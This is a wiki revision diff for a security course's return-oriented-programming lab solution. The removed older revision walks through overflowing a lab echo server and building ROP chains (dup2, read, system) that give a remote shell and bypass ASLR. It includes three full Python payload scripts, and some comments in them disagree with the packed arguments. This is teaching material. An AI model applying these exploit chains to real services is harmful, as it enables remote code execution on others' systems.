User Tools

Site Tools


session:solution:12

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:solution:12 [2015/07/23 16:47]
Razvan Deaconescu [Idea for Bypassing ASLR]
session:solution:12 [2020/07/19 12:49] (current)
Line 1: Line 1:
-====== Session 12 Solutions ======+====== 0x0B. Return Oriented Programming (part 2) (Solutions======
  
-===== Gadget Tut ===== +[[http://security.cs.pub.ro/summer-school/res/arc/12-return-oriented-programming-advanced-sol.zip|Solutions archive]]
- +
-TODO +
- +
-===== Echo Service ===== +
- +
-<note> +
-The log file created with [[http://man7.org/linux/man-pages/man1/script.1.html|script]] is {{TODO|this}}You may use ''cat'' over the script file to print it. +
-</note> +
- +
-By going through the ''echo_service.c'' file we see that in the ''echo_service()'' function we use ''read()'' for reading ''4096'' bytes when we only have ''1024'' available for a the ''buf'' buffer. We can use this to create a return-oriented programming (ROP) attack. +
- +
-Let's first consider our steps. +
-  - We will create a payload that overflows the ''buf'' buffer and rewrites the return address of the ''echo_service()'' function triggering the attack (the ROP chain). +
-  - We will update the payload issue the following calls through the ROP chain, as also indicated in the task: +
-    - ''dup2(sockfd, 1);'' +
-    - ''dup2(sockfd, 0);'' +
-    ''system("/bin/sh");'' +
-  - We will start the server and then we will use ''netcat'' to send the payload to the server to trigger the attack. +
- +
-We aim for the stack to be the one below:<code> +
-0x00000000 +
-... +
-start address of buf +
-... +
-+--------------------------------+ +
-|   dup2() address                 <--- return address for echo_service() +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   dup2() address               | +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   system() address             | +
-+--------------------------------+ +
-|   junk                         | +
-+--------------------------------+ +
-|   "/bin/sh" address            | +
-+--------------------------------+ +
- +
-... +
-0xFFFFFFFF +
-</code> +
- +
-In the above figure we will overflow the ''buf'' buffer and overwrite the return address for the ''echo_service()'' function with the first part of the ROP chain: the address of the ''dup2()'' function. Once the ''dup2()'' function returns it will call a ROP gadget that pops two values: the ''dup2()'' function arguments (''4'' is ''sockfd'' and ''0'' and ''1'' are standard input and standard output file descriptors respectively). Then another ''dup2()'' function gets called and then ''system("/bin/sh")''. Because this needs the address of the ''/bin/sh'' string it could only happen on non-ASLR enabled system; but we'll use some tricks to trick it into running on an ASLR-enabled system as well. +
- +
-We can use ''strace'' to check that ''4'' is indeed the socket file descriptor:<code> +
-TODO +
-</code> +
-This makes sense since ''0'', ''1'' and ''2'' are the standard file descriptors and ''3'' is used as the listening socket file descriptor. +
- +
-We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks. +
- +
-==== Getting Required Data ==== +
- +
-Let's first use GDB to gather all the required data for creating the payload. We need: +
-  * the offset of the return address for the ''echo_service()'' function against the start of the ''buf'' buffer +
-  * the address of the ''dup2()'' function inside PLT (in order to have an ASLR-independent address) +
-  * the address of the ''system()'' function inside PLT +
-  * the address of the ''/bin/sh'' string +
-  * a ROP gadget that consists of two ''pop'' instructions followed by a ''ret'' +
- +
-The ''make_it_easy()'' function in our source code is used to help us get access to ''dup2()'' and ''system()'' addresses through PLT. +
- +
-We'll use ''pattc'' and ''patto'' in GDB PEDA to find out the offset of the return address against the start of the ''buf'' buffer:<code> +
-</code> +
-The offset is ''1040'' bytes. +
- +
-We'll use the ''info address'' command in GDB to find out the addresses of ''dup2()'' and ''system()'' inside PLT:<code> +
-TODO +
-</code> +
-The addresses are: +
-  * ''0xTODO'' for ''dup2()'' +
-  * ''0xTODO'' for ''system()'' +
- +
-We'll use ''searchmem'' to find out the address of the ''/bin/sh'' string inside the standard C library mappings (this only works on non-ASLR enabled systems):<code> +
-</code> +
-The address for ''/bin/sh'' is ''0xTODO''+
- +
-We'll use ''dumprop'' to determine the address of a ROP gadget using two ''pop'' instructions followed by a ''ret'' instruction:<code> +
-</code> +
-The address of the gadget is ''0xTODO''+
- +
-We'll use these data to construct the payload. +
- +
-==== Creating the ROP Payload (non-ASLR) ==== +
- +
-Based on the above information we create the following Python file for printing out the payload:<file Python payload-no-aslr.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, bin_sh) +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:<code> +
-TODO xxd +
-</code> +
- +
-==== Testing the non-ASLR Payload ==== +
- +
-We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:<code> +
-</code> +
- +
-Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:<code> +
-</code> +
-We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK. +
- +
-Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.<code> +
-</code> +
- +
-Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP. +
- +
-Let's try the same thing on an ASLR-enabled system:<code> +
-</code> +
- +
-It doesn't work due to the %%"/bin/sh%% string being placed differently into memory. We need something different. We need a way to store a %%"/bin/sh"%% string in a place that isn't influenced by ASLR. We show that in the next section. +
- +
-==== Idea for Bypassing ASLR ==== +
- +
-The random placement of the ''%%"/bin/sh"%%'' string due to ASLR is problematic. What we would aim to do is write the string somewhere in memory at a fixed address. +
- +
-Our idea is to use a ''read()'' call on the socket to read the ''%%"/bin/sh"%%'' string into a fixed address area. We will then use that address for the ''system()'' call. We can call ''read()'' as part of the ROP chain. We aim for the stack to be the one below:<code> +
-0x00000000 +
-... +
-start address of buf +
-... +
-+--------------------------------+ +
-  dup2() address                 <--- return address for echo_service() +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   dup2() address               | +
-+--------------------------------+ +
-|   pop_pop_ret gadget address   | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   read() address               | +
-+--------------------------------+ +
-|   pop_pop_pop_ret gadget addr  | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   fixed writable address       | +
-+--------------------------------+ +
-|                              | +
-+--------------------------------+ +
-|   system() address             | +
-+--------------------------------+ +
-|   junk                         | +
-+--------------------------------+ +
-|   fixed writable address       | +
-+--------------------------------+ +
- +
-... +
-0xFFFFFFFF +
-</code> +
-In the above figure we add the ''read()'' call using three parameters: +
-  - the socket file descriptor (''4''+
-  - the fixed writable address where the ''%%"/bin/sh"%%'' string we provide will be stored +
-  - the length of the message we will deliver (''%%"/bin/sh\0"%%'': we place a NUL-byte at the end) +
- +
-We need an additional gadget that pops 3 times and the uses a ''ret'' instruction in order to pop the tree parameters of ''read()''+
- +
-We need the following in order to create the payload that gets us to the above stack configuration: +
-  - the address of the ''read()'' address in PLT +
-  - the address of a ROP gadget that uses 3 ''pop'' instructions followed by a ''ret'' instruction +
-  - the fixed writable address we will use to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket +
- +
-For the first two addresses we use GDB:<code> +
-</code> +
-The address of ''read()'' in PLT is ''0xTODO'' The address of the ROP gadget is ''0xTODO''+
- +
-For the fixed writable address we inspect the executable using ''readelf'':<code> +
-</code> +
-We see that we have access to the ''.data'' section with a length of ''8'' bytes, exactly what we need. We'll use that address (''0xTODO'') as a fixed writable address where to store the ''%%"/bin/sh\0"%%'' string that will be fed through the socket. +
- +
-This is all the information we need to construct the payload. +
- +
-==== Creating the ROP Payload (ASLR) ==== +
- +
-Based on the above information we create the following Python file for printing out the payload:<file Python payload-aslr.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# 0x8048b6d: pop esi; pop edi; pop ebp; ret +
-pop_pop_pop_ret = 0x8048b6d +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
-# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. +
-read_plt = 0x8048600 +
-#   [24.data             PROGBITS        0804a060 +
-data = 0x0804a060 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) +
-#  * address of read() +
-#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) +
-#  * read arguments: 4, data address, 8 bytes for /bin/sh\n +
-payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, data) +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:<code> +
-TODO xxd +
-</code> +
- +
-==== Testing the ASLR Payload ==== +
- +
-We run the payload on an ASLR-enabled system:<code> +
-</code> +
- +
-Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:<code> +
-</code> +
-We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK. +
- +
-Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.<code> +
-</code> +
- +
-Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP on an ASLR-enabled system +
- +
-As you can see, we rely on the ''read()'' call inside the ''echo_service()'' function to return before we feed the ''%%"/bin/sh"%%'' string into our ROP-induced ''read()'' call. That's why we provide the ''%%"/bin/sh"%%'' string by hand. We could do it into one command sleep by placing a ''sleep'' command before the printing of the payload and the providing of the ''%%"/bin/sh"%%'' string<code> +
-</code> +
- +
-==== Alternative ASLR Payload and Testing ==== +
- +
-If we wanted to provide the ''%%"/bin/sh"%%'' string in the payload, we would need to update the payload to take care of the fact that the ''read()'' call inside the ''echo_service()'' function expects ''4096'' bytes before returning. We could feed it the entire ''4096'' bytes by adding an extra padding to the payload and then append the ''%%"/bin/sh\0"%%'' string to the payload. The appended string will be read by our ROP-induced ''read()'' call. +
- +
-The updated payload file will be:<file Python payload-aslr-alt.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# 0x8048b6d: pop esi; pop edi; pop ebp; ret +
-pop_pop_pop_ret = 0x8048b6d +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
-# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. +
-read_plt = 0x8048600 +
-#   [24.data             PROGBITS        0804a060 +
-data = 0x0804a060 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) +
-#  * address of read() +
-#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) +
-#  * read arguments: 4, data address, 8 bytes for /bin/sh\n +
-payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, data) +
- +
-# Fill 4096 bytes to complete read() call. +
-bytes_so_far = len(payload) +
-payload += (4096-bytes_so_far)*"A" +
- +
-# Send "/bin/sh\0" string to ROP-infused read() call. +
-payload += "/bin/sh\0" +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-As said we've added additional payload to fill the ''4096'' bytes to complete the ''read()'' call inside the ''echo_service()'' function and then we feed the ''%%"/bin/sh\0"%%'' string. +
- +
-However, the moment we test the program we see it fails:<code> +
-</code> +
- +
-We use ''strace'' for inspection and see that ''execve()'' returns with error due to an erroneous environment pointer (the third argument). The environment pointer is passed to the stack and, because we overwrite such a large amount with the ''read()'' call, we overwrite the pointer. The solution is to add padding using NUL-bytes (''\0''). In this ways, the environment pointer will be ''NULL'' and the ''execve()'' call will work OK. +
- +
-We update the extra padding line in the payload:<code python> +
-# Fill 4096 bytes to complete read() call. +
-bytes_so_far = len(payload) +
-payload += (4096-bytes_so_far)*"\0" +
-</code> +
- +
-We test the program again and we see it works<code> +
-</code> +
-A shell is created through a ROP-based attack. Work complete!+
session/solution/12.1437659224.txt.gz · Last modified: 2015/07/23 16:47 by Razvan Deaconescu